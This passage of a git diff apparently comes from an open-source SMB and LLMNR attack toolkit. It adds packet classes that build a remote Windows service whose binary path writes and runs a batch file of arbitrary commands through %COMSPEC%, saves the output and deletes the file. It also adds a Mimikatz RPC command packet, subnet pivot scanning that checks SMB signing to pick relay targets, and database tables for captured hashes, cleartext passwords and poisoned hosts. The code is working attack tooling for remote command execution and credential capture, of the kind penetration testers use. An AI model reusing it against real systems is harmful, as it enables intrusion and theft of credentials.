("AccessMask", "\x9F\x01\x02\x00"),
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("FileAttrib", "\x00\x00\x00\x00"),
("ShareAccess", "\x03\x00\x00\x00"),
("Disposition", "\x01\x00\x00\x00"),
("CreateOptions", "\x40\x00\x40\x00"),
("Impersonation", "\x02\x00\x00\x00"),
("SecurityFlags", "\x01"),
("Bcc", "\x08\x00"),
("FileName", ""),
("FileNameNull", "\x00"),
])
def calculate(self):
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBNTCreateDataSVCCTL(Packet):
fields = OrderedDict([
("Wordcount", "\x18"),
("AndXCommand", "\xff"),
@@ -488,6 +523,15 @@ class SMBNTCreateData(Packet):
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBLockingAndXResponse(Packet):
fields = OrderedDict([
("Wordcount", "\x02"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("Andxoffset", "\x00\x00"),
("Bcc", "\x00\x00"),
])
class SMBReadData(Packet):
fields = OrderedDict([
("Wordcount", "\x0a"),
@@ -509,6 +553,31 @@ class SMBReadData(Packet):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBWriteData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\xde\xde"),
("FID", "\x06\x40"),
("Offset", "\x00\x00\x00\x00"),
("TimeOut", "\x00\x00\x00\x00"),
("WriteMode", "\x01\x00"),
("Remaining", "\x00\x00"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\xdc\x02"),
("DataOffset", "\x40\x00"),
("HiOffset", "\x00\x00\x00\x00"),
("Bcc", "\xdc\x02"),
("Padding", "\x41"),
("Data", ""),
])
def calculate(self):
self.fields["DataLenLow"] = struct.pack("<H",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
class SMBDCERPCWriteData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("AndXCommand", "\xff"),
@@ -532,6 +601,8 @@ class SMBWriteData(Packet):
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBTransDCERPC(Packet):
fields = OrderedDict([
("Wordcount", "\x10"),
@@ -591,7 +662,7 @@ class SMBDCEData(Packet):
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"),
("CallID", "\x01\x00\x00\x00"),
("MaxTransFrag", "\xd0\x16"),
("MaxRecvFrag", "\xd0\x16"),
("GroupAssoc", "\x00\x00\x00\x00"),
@@ -651,6 +722,11 @@ class SMBDCESVCCTLOpenManagerW(Packet):
])
def calculate(self):
#Padding
if len(str(self.fields["MachineName"]))%2==0:
self.fields["MachineNameNull"] = "\x00\x00\x00\x00"
else:
self.fields["MachineNameNull"] = "\x00\x00"
## Convert to UTF-16LE
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
@@ -677,16 +753,13 @@ class SMBDCESVCCTLCreateService(Packet):
("BinPathMaxCount", "\xb6\x00\x00\x00"),
("BinPathOffset", "\x00\x00\x00\x00"),
("BinPathActualCount", "\xb6\x00\x00\x00"),
("FileName", ""),
("BinPathName", ""),
("BinCMD", ""),
("BintoEnd", ""),
("BinCMDTerminator", "\x00\x00"),
("LoadOrderGroup", "\x00\x00\x00\x00"),
("TagID", "\x00\x00\x00\x00"),
("Dependencies", "\x00\x00\x00\x00"),
("DependenciesLen", "\x00\x00\x00\x00"),
("ServiceStartName", "\x00\x00\x00\x00"),
("ServiceStartUser", "\x00\x00\x00\x00"),
("Password", "\x00\x00\x00\x00"),
("PasswordLen", "\x00\x00\x00\x00"),
("Padding", "\x00\x00"),
@@ -694,29 +767,13 @@ class SMBDCESVCCTLCreateService(Packet):
])
def calculate(self):
self.fields["BinCMD"] = self.fields["BinCMD"].replace("&", "^&")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("(", "^(")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(")", "^)")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("%", "^%")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering
BinDataLen = str(self.fields["BinCMD"])
File = "%WINDIR%\\Temp\\"+self.fields["FileName"]
WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
FinalCMD = "del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File
#That is: delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file.
self.fields["FileName"] = ""#Reset it.
self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo.
self.fields["BinCMD"] = FinalCMD
self.fields["BintoEnd"] = "& %COMSPEC% /C call "+File+"&exit"
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
#Padding
if len(str(self.fields["BinCMD"]))%2==0:
self.fields["LoadOrderGroup"] = "\x00\x00\x00\x00"
else:
self.fields["LoadOrderGroup"] = "\x00\x00"
## Calculate first
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
@@ -725,12 +782,11 @@ class SMBDCESVCCTLCreateService(Packet):
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
## Then convert to UTF-16LE
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([
@@ -782,6 +838,21 @@ class SMBDCESVCCTLQueryService(Packet):
("ContextHandle", ""),
])
class SMBDCEMimiKatzRPCCommand(Packet):
fields = OrderedDict([
("ContextHandleLen", "\x07\x00\x00\x00"),
("ContextHandle", "\x00\x00\x00\x00"),
("ContextHandleLen2", "\x07\x00\x00\x00"),
("CMD", ""),
("CMDEnd", "\x00\x00"),
])
def calculate(self):
self.fields["ContextHandleLen"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
self.fields["ContextHandleLen2"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
self.fields["CMD"] = self.fields["CMD"].encode('utf-16le')
class OpenAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x0f"),
@@ -834,6 +905,42 @@ class ReadRequestAndX(Packet):
])
class SMBDCERPCReadRequestAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x0C"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("AndXOffset", "\xde\xde"),
("FID", "\x02\x40"),
("Offset", "\x00\x00\x00\x00"),
("MaxCountLow", "\xb8\x10"),
("MinCount", "\xb8\x10"),
("Timeout", "\xff\xff\xff\xff"),
("RemainingBytes", "\x00\x00"),
("HighOffset", "\x00\x00\x00\x00"),
("Bcc", "\x00\x00"),
])
class WriteRequestAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x06"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("AndXOffset", "\xde\xde"),
("FID", "\x02\x40"),
("Offset", "\x00\x00\x00\x00"),
("Reserved2", "\xff\xff\xff\xff"),
("WriteMode", "\x00\x00"),
("Remaining", "\x00\x00"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\x0a\x00"),#actual Len
("DataOffset", "\x3f\x00"),
("Bcc", "\x0a\x00"),
("Padd", ""),
("Data", ""),
])
class CloseRequest(Packet):
fields = OrderedDict([
@@ -1003,3 +1110,4 @@ class SMBDCEWinRegSaveKey(Packet):
self.fields["FileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)
self.fields["MaxFileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -21,7 +21,7 @@ from socket import *
from odict import OrderedDict
import optparse
__version__ = "0.6"
__version__ = "0.7"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
@@ -155,18 +155,22 @@ def dtoa(d):
def OsNameClientVersion(data):
try:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
if OsVersion == "Unix":
OsVersion = ClientVersion
return OsVersion, ClientVersion
if length > 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
if length <= 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data):
try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
Time = GetBootTime(data[60:68])
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
if Hostname == '':
DomainJoined = data[81:110].replace('\x00','')
Hostname = data[113:].replace('\x00','')
return Hostname, DomainJoined, Time
except:
return "Could not get Hostname.", "Could not get Domain joined"

View File

@@ -15,11 +15,15 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct
import multiprocessing
from socket import *
from time import sleep
from odict import OrderedDict
__version__ = "0.3"
Timeout = 0.5
__version__ = "0.7"
Timeout = 2
class Packet():
fields = OrderedDict([
])
@@ -139,15 +143,22 @@ def dtoa(d):
def OsNameClientVersion(data):
try:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
if length > 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
if length <= 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data):
try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
if Hostname == '':
DomainJoined = data[81:110].replace('\x00','')
Hostname = data[113:].replace('\x00','')
return Hostname, DomainJoined
except:
return "Could not get Hostname.", "Could not get Domain joined"
@@ -205,6 +216,27 @@ def SmbFinger(Host):
return signing, OsVersion, ClientVersion
except:
pass
def SmbFingerSigning(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect((Host, 445))
except:
return False
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
signing = IsSigningEnabled(data)
return signing
except:
pass
##################
#run it
def ShowResults(Host):
@@ -244,6 +276,43 @@ def ShowSmallResults(Host):
pass
def ShowScanSmallResults(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
return False
try:
Hostname, DomainJoined = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
Message ="['%s', Os:'%s', Domain:'%s', Signing:'%s']"%(Host[0], OsVer, DomainJoined, Signing)
print Message
except:
pass
def ShowSigning(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect((Host, 445))
except:
print "[Pivot Verification Failed]: Target host is down"
return True
try:
Signing = SmbFingerSigning(Host)
if Signing == True:
print "[Pivot Verification Failed]:Signing is enabled. Choose another host."
return True
else:
return False
except:
pass
def RunFinger(Host):
m = re.search("/", str(Host))
if m :
@@ -255,3 +324,23 @@ def RunFinger(Host):
else:
ShowResults((Host,445))
def RunPivotScan(Host, CurrentIP):
m = re.search("/", str(Host))
if m :
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
if CurrentIP == host:
pass
else:
p = multiprocessing.Process(target=ShowScanSmallResults, args=((host,445),))
threads.append(p)
p.start()
sleep(1)
else:
ShowScanSmallResults((Host,445))

View File

@@ -23,6 +23,17 @@ import time
import settings
import datetime
def RandomChallenge():
if settings.Config.NumChal == "random":
from random import getrandbits
NumChal = '%016x' % getrandbits(16 * 4)
Challenge = ''
for i in range(0, len(NumChal),2):
Challenge += NumChal[i:i+2].decode("hex")
return Challenge
else:
return settings.Config.Challenge
def HTTPCurrentDate():
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
return Date
@@ -135,14 +146,17 @@ def DumpConfig(outfile, data):
with open(outfile,"a") as dump:
dump.write(data + '\n')
def SaveToDb(result):
# Creating the DB if it doesn't exist
def CreateResponderDb():
if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
cursor.commit()
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
cursor.commit()
cursor.close()
def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result:
result[k] = ''
@@ -211,6 +225,23 @@ def SaveToDb(result):
cursor.commit()
cursor.close()
def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
cursor.commit()
cursor.close()
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c":